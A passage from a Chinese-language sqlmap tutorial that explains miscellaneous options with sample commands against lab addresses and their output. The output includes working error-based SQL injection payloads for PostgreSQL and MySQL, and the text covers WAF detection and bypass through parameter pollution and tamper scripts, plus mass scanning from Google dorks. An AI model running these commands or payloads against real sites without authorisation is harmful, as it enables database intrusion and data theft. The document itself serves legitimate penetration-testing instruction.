Sqlmap 对列举的数据有三种不同的输出格式：CSV、HTML 和 SQLITE。默认为 CSV 格式，每个数据表都被保存到一个文本文件中，一行是一条记录，以逗号分隔（或是用--csv-del指定分隔符）。选择 HTML 格式，所有数据被保存在一个 HTML 文件中，数据存放在一个个 table 中。选择 SQLITE 格式，所有数据被保存在一个 SQLITE 文件中，SQLITE 中表名和结构会和原表相同。

估计完成时间

参数：--eta

该参数用于显示估计的完成时间。下例是目标为 Oracle 的布尔型盲注：

python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta

部分输出如下：

[hh:mm:01] [INFO] the back-end DBMS is Oracle
[hh:mm:01] [INFO] fetching banner
[hh:mm:01] [INFO] retrieving the length of query output
[hh:mm:01] [INFO] retrieved: 64
17% [========>                                           ] 11/64

Then:

100% [===================================================] 64/64
[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod

web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner:
'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

如你所见，Sqlmap 先计算查询输出的长度，然后估计完成时间，最后显示百分比进度条并统计已经接受的数据。

刷新会话文件

参数：--flush-session

使用该参数可以刷新会话文件，以避免 Sqlmap 默认的缓存机制可能造成的一些问题。使用该参数的前提是真正理解会话文件的概念。另外一个可行的方法是手工删除会话文件。

解析和测试表单输入字段

参数：--forms

除了用-r和--data来测试表单数据是否存在注入点外，还可以使用参数--forms来测试表单数据是否存在注入点。

同时使用参数--forms和-u，Sqlmap 会解析目标 URL（-u指定的那个 URL）返回页面中的表单，测试表单是否有注入点，而不对目标 URL 进行注入测试。

忽略会话文件中的查询结果

参数：-fresh-queries

使用此参数用于忽略会话文件中的查询结果重新执行查询。

对返回结果使用 HEX 函数

参数：--hex

非 ASCII 数据很容易在传输时出错，使用 hex 函数可以将目标数据库中数据以十六进制返回。

下例的目标是 PostgreSQL：

python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors

部分输出如下所示：

[xx:xx:14] [INFO] fetching banner
[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR
(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC)
[xx:xx:15] [INFO] parsed error message: 'pg_query() [<a href='function.pg-query'>function.pg-query</a>]: Query failed: ERROR: invalid input syntax for type numeric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c202844656269616e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.php</b> on line <b>35</b>'
[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by
GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2

指定输出目录路径

参数：--output-dir

Sqlmap 默认将会话文件和结果文件保存到某个子目录 output 中，可以使用此参数指定输出目录，如：--output-dir=/tmp。

从响应中解析 DBMS 的错误信息

参数：--parse-errors

若是 Web 应用被配置成 Debug 模式则很可能在 HTTP 响应页面中显示 SQL 错误信息。这些错误信息对于理解某操作失败的原因是很有用的。例如因为权限不足导致的失败错误信息是类似这样的：Access denied for user。

下例的目标是微软 SQL Server：

python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --parse-errors

部分输出如下所示：

[xx:xx:17] [INFO] ORDER BY technique seems to be usable. This should reduce the timeneeded to find the right number of query columns. Automatically extending the rangefor current UNION query injection technique test
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 is out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] target URL appears to have 3 columns in query

指定中轴列

参数：--pivot-column

有时（如在微软 SQL Server、Sybase 和 SAP MaxDB 中）由于缺乏类似机制不可以直接使用偏移 m,n 的方式列举数据表记录。在这种情况下，Sqlmap 通过确定最适合的中轴列（最独特的值）来列举数据，中轴列的值稍后用于检索其他列值。

如果自动选择失败就需要使用该参数手动指定中轴列，如：--pivot-column=id。

保存选项到配置文件中

参数：--save

使用该参数可以保存 Sqlmap 命令行参数到配置文件中，该文件可编辑并且可以使用参数-c加载。配置文件是 INI 格式的。

升级 Sqlmap

参数：--update

使用此参数可以升级 Sqlmap，显然，需要能够连接互联网。万一执行失败，可以在 Sqlmap 安装目录中执行git pull来升级 Sqlmap。在 Windows 中没有 git 命令可以使用SmartGit之类的 git 客户端。

实际上--update和git pull以同样的方式升级 Sqlmap，都是从git 仓库中获取最新源代码。

强烈建议在报告 bug 前先升级 Sqlmap。

使用简写

参数：-z

有些参数组合是被经常用到的，如--batch --random-agent --ignore-proxy --technique=BEU，这样写一大串很不好看，在 Sqlmap 中，提供了一种简写的方式来缩短命令长度。

利用参数-z，每个参数都可以只写前几个字母，如--batch可以简写为bat。简写的原则是能够有所区别、对应的参数唯一就行。各个参数用逗号隔开。如：

python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "www.target.com/vuln.php?id=1"

可以简写为：

python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1"

再如：

python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u "www.target.com/vuln.php?id=1"

可以简写为：

python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.com/vuln.php?id=1"

在成功检测到注入点时报警

参数：--alert

该参数用于在找到新的注入点时发出警报，后跟一个用于发出警报的命令，如：

python sqlmap.py -r data.txt `--alert "notify-send '找到漏洞了'"`

部分输出如下：

[18:59:36] [INFO] GET parameter 'couno' appears to be 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)' injectable (with --not-string="001")
[18:59:36] [INFO] executing alerting shell command(s) ('notify-send '找到漏洞了'')12

上例中用于发出警报的命令是 Ubuntu 中的 notify-send 命令。

设置问题的回答

参数：--answers

使用--batch以非交互模式运行时所有问题都以按默认值作为回答。有时不想以默认值为答案又想使用非交互模式，此时可以使用参数--answers对特定问题进行回答，若回答多个问题，以逗号分隔。如：

python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1" --technique=E --answers="extending=N" --batch

部分输出如下：

[xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id' heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
[xx:xx:56] [INFO] do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] N

在成功检测到注入点时发出嘟声

参数：--beep

使用此参数可以在成功检测到注入点时发出嘟声。使用-m从日志文件中检测大量网站时该参数会格外有用。

检查依赖

参数：--dependencies

Sqlmap 的有些功能依赖第三方库，在用到时发现没有这些库会报错退出。使用此参数可以检查依赖的第三方库是否安装，如：

python sqlmap.py --dependencies

部分输出如下：

[*] starting at 19:16:05

[19:16:05] [WARNING] sqlmap requires 'python-kinterbasdb' third-party library in order to directly connect to the DBMS 'Firebird'. Download from http://kinterbasdb.sourceforge.net/
[19:16:05] [WARNING] sqlmap requires 'python-pymssql' third-party library in order to directly connect to the DBMS 'Sybase'. Download from https://github.com/pymssql/pymssql
[19:16:05] [WARNING] sqlmap requires 'python cx_Oracle' third-party library in order to directly connect to the DBMS 'Oracle'. Download from http://cx-oracle.sourceforge.net/
[19:16:05] [WARNING] sqlmap requires 'python-psycopg2' third-party library in order to directly connect to the DBMS 'PostgreSQL'. Download from http://initd.org/psycopg/
[19:16:05] [WARNING] sqlmap requires 'python ibm-db' third-party library in order to directly connect to the DBMS 'IBM DB2'. Download from https://github.com/ibmdb/python-ibmdb
[19:16:05] [WARNING] sqlmap requires 'python jaydebeapi & python-jpype' third-party library in order to directly connect to the DBMS 'HSQLDB'. Download from https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/
[19:16:05] [WARNING] sqlmap requires 'python ibm-db' third-party library in order to directly connect to the DBMS 'Informix'. Download from https://github.com/ibmdb/python-ibmdb
[19:16:05] [WARNING] sqlmap requires 'python-pyodbc' third-party library in order to directly connect to the DBMS 'Microsoft Access'. Download from https://github.com/mkleehammer/pyodbc
[19:16:05] [WARNING] sqlmap requires 'python-pymssql' third-party library in order to directly connect to the DBMS 'Microsoft SQL Server'. Download from https://github.com/pymssql/pymssql
[19:16:05] [WARNING] sqlmap requires 'python-impacket' third-party library for out-of-band takeover feature. Download from http://code.google.com/p/impacket/
[19:16:05] [WARNING] sqlmap requires 'python-ntlm' third-party library if you plan to attack a web application behind NTLM authentication. Download from http://code.google.com/p/python-ntlm/
[19:16:05] [WARNING] sqlmap requires 'websocket-client' third-party library if you plan to attack a web application using WebSocket. Download from https://pypi.python.org/pypi/websocket-client/

[*] shutting down at 19:16:05

可以看到我缺少的主要是用于连接数据库的第三方库。

关闭彩色输出

参数：--disable-coloring

指定使用 Google dork 结果的某页

参数：--gpage

使用参数-g时默认默认选择 Google dork 结果的前 100 条做注入测试。结合使用此参数，可以指定使用 Google dork 结果的某页。

使用 HTTP 参数污染

参数：--hpp

HTTP 参数污染是绕过 WAF/IPS/IDS 的一种技术，详情见此处。这一技术针对 ASP/IIS 和 ASP.NET/IIS 平台尤其有效。如果怀疑目标受 WAF/IPS/IDS 保护，可以尝试用此参数进行绕过。

彻底检测 WAF/IPS/IDS

参数：--identify-waf

Sqlmap 可以识别 WAF/IPS/IDS 以便用户进行针对性操作（如：添加--tamper）。目前 Sqlmap 支持检测 30 多种不同的 WAF/IPS/IDS，如 Airlock 和 Barracuda WAF 等。检测 WAF 的脚本可以在安装目录的 waf 目录中找到。

下例的目标是 MySQL，受 ModSecurity WAF 保护：

python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --identify-waf -v 3

部分输出如下：

[xx:xx:23] [INFO] testing connection to the target URL
[xx:xx:23] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'USP Secure Entry Server (United Security Providers)'[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'BinarySEC Web Application Firewall (BinarySEC)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetContinuum Web Application Firewall (NetContinuum/Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Hyperguard Web Application Firewall (art of defence Inc.)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Cisco ACE XML Gateway (Cisco Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'TrafficShield (F5 Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Teros/Citrix Application Firewall Enterprise (Teros/Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KONA Security Solutions (Akamai Technologies)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Incapsula Web Application Firewall (Incapsula/Imperva)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'CloudFlare Web Application Firewall (CloudFlare)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Barracuda Web Application Firewall (Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'webApp.secure (webScurity)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Proventia Web Application Security (IBM)'
[xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1'
[xx:xx:23] [DEBUG] page not found (404)
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KS-WAF (Knownsec)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetScaler (Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Jiasule Web Application Firewall (Jiasule)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'WebKnight Application Firewall (AQTRONIX)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'AppWall (Radware)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'ModSecurity: Open Source Web Application Firewall (Trustwave)'
[xx:xx:23] [CRITICAL] WAF/IDS/IPS identified 'ModSecurity: Open Source Web Application Firewall (Trustwave)'. Please consider usage of tamper scripts (option '--tamper')

参数：--skip-waf

默认地 Sqlmap 会发送虚假的 SQL 注入 playload 以试探目标是否有保护措施。如有任何问题，用户可以使用参数--skip-waf来禁用这一技术。

模仿智能手机

参数：--mobile

有些网站对智能手机和桌面环境的返回是不同的。当需要测试这种网站的智能手机页面时可以设置一个智能手机的 User-Agent，或者更简单地，使用此参数，Sqlmap 会在执行时询问要模仿成流行的手机中的哪种，如：

$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile
[...]
which smartphone do you want sqlmap to imitate through HTTP User-Agent header?
[1] Apple iPhone 4s (default)
[2] BlackBerry 9900
[3] Google Nexus 7
[4] HP iPAQ 6365
[5] HTC Sensation
[6] Nokia N97
[7] Samsung Galaxy S
> 1
[...]

离线模式（仅仅使用会话数据）

参数：--offline

添加此参数，Sqlmap 将仅仅使用以前存储的会话数据做测试而不向目标发送任何数据包。

在 Google dork 中展示页面权重

参数：--page-rank

与参数-g一起使用，这会使 Sqlmap 向 Google 发起更多的请求并展示页面权重。

从输出目录中安全移除所有内容

参数：--purge-output

当用户想要安全地删除输出目录中的所有内容时使用此参数。所谓安全删除，不仅仅是删除，而是在删除前先用随机数据覆盖原有数据，甚至对文件名和目录名也进行重命名以覆盖旧名称，所有覆盖工作完成后才执行删除。最后，输出目录中会一无所有。如：

python sqlmap.py --purge-output -v 3

部分输出如下：

[*] starting at 19:51:36

[19:51:36] [DEBUG] cleaning up configuration parameters
[19:51:36] [INFO] purging content of directory '/home/werner/.sqlmap/output'...
[19:51:36] [DEBUG] changing file attributes
[19:51:36] [DEBUG] writing random data to files
[19:51:36] [DEBUG] truncating files
[19:51:36] [DEBUG] renaming filenames to random values
[19:51:36] [DEBUG] renaming directory names to random values
[19:51:36] [DEBUG] deleting the whole directory tree

[*] shutting down at 19:51:36

快速扫描

参数：--smart

当有大量 URL 要进行测试（如：-m），目的是尽快找出其中存在的某些注入点而有所遗漏也没有关系时可以使用--smart进行正向启发式扫描。此时只有让数据库管理系统报错的参数才会做进一步测试，其余 URL 均被跳过。如：

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch --smart
[...]
[xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic
[xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'ca'
[xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic
[xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user' might not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'user'
[xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic
[xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic
[xx:xx:14] [INFO] GET parameter 'id' is dynamic
[xx:xx:14] [WARNING] reflective value(s) found and filtering out
[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be
injectable (possible DBMS: 'MySQL')
[xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id' heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] Y
[xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[xx:xx:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[xx:xx:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
[xx:xx:14] [INFO] testing 'MySQL inline queries'
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[xx:xx:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable
[xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[xx:xx:24] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found
[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[xx:xx:24] [INFO] target URL appears to have 3 columns in query
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
[...]

通过关键词使用或跳过 payload

参数：--test-filter

若只想使用包含关键词ROW的 payload 可使用参数--test-filter=ROW。下面是以 Mysql 为目标的例子：

python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --batch --test-filter=ROW

部分输出如下：

[xx:xx:39] [INFO] GET parameter ’id’ is dynamic
[xx:xx:39] [WARNING] reflective value(s) found and filtering out
[xx:xx:39] [INFO] heuristic (basic) test shows that GET parameter ’id’ might be injectable (possible DBMS: ’MySQL’)
[xx:xx:39] [INFO] testing for SQL injection on GET parameter ’id’
[xx:xx:39] [INFO] testing ’MySQL >= 4.1 AND error-based - WHERE or HAVING clause’
[xx:xx:39] [INFO] GET parameter ’id’ is ’MySQL >= 4.1 AND error-based - WHERE or HAVING clause’ injectable GET parameter ’id’ is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 3 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: error-based
    Title: MySQL >= 4.1 AND error-based - WHERE or HAVING clause
    Payload: id=1 AND ROW(4959,4971)>(SELECT COUNT(*),CONCAT(0x3a6d70623a,(SELECT (CASE WHEN (4959=4959) THEN 1 ELSE 0 END)),0x3a6b7a653a,FLOOR(RAND(0)*2))x FROM (SELECT 4706 UNION SELECT 3536 UNION SELECT 7442 UNION SELECT 3470)a GROUP BY x)
---

参数：--test-skip

若不想使用包含关键词BENCHMARK的 payload 可使用参数--test-skip=BENCHMARK。

交互式 Sqlmap Shell

参数：--sqlmap-shell

使用此参数可以打开一个交互式的 Sqlmap Shell，支持历史记录。如：

werner@Yasser:~$ sqlmap --sqlmap-shell
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.1.10#stable}
|_ -| . ["]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

sqlmap-shell> -u "192.168.56.102"
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 20:22:46

[20:22:46] [INFO] testing connection to the target URL
[20:22:46] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[20:22:46] [INFO] testing if the target URL is stable
[20:22:47] [INFO] target URL is stable
[20:22:47] [CRITICAL] no parameter(s) found for testing in the provided data (e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')

[*] shutting down at 20:22:47

        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.1.10#stable}
|_ -| . ["]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

sqlmap-shell> exit

个人使用经验

1. sqlmap 一般使用 and 做连接符, 因为 or 比较危险(比如注入点在 insert 或者 update 或者 delete), 这也是为啥有 --risk 参数的原因.
2. sqlmap 的参数 --regexp 用于区分不同的页面, 使用前提是 url 需要为正常页面, 而且盲注正则表达式. 其他的类似参数如 --string 等同理

结语

SQLmap 太强大了。据说它不仅的注入本领是一流的，代码也是一流的。有时间我会读一遍它的源码，学习一下一个大型的好工具应该如何去写。

来呀快活呀